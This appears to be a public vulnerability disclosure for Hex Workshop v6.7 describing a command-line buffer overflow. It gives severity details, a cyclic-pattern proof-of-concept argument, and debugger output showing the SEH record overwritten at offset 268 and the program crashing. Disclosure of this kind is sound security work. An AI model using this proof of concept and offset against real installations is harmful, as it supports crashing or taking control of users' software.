b137003172
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1.1 KiB
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30 lines
No EOL
1.1 KiB
Text
# Exploit Title: Hex Workshop v6.7 - Buffer overflow DoS
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# Discovery by: Rafael Pedrero
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# Discovery Date: 2022-01-06
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# Vendor Homepage: http://www.bpsoft.com, http://www.hexworkshop.com
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# Software Link : http://www.bpsoft.com, http://www.hexworkshop.com
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# Tested Version: v6.7
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# Tested on: Windows 10
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CVSS v3: 7.3
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CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
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CWE: CWE-119
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Hex Workshop v6.7 is vulnerable to denial of service via a command line
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file arguments and control the Structured Exception Handler (SEH) records.
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Proof of concept:
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Open HWorks32.exe from command line with a large string in Arguments, more
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than 268 chars:
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File 'C:\Hex Workshop\HWorks32.exe'
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Arguments
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'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag..."
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0BADF00D [+] Examining SEH chain
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0BADF00D SEH record (nseh field) at 0x0089e63c overwritten with
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unicode pattern : 0x00390069 (offset 268), followed by 0 bytes of cyclic
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data after the handler
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The application crash. |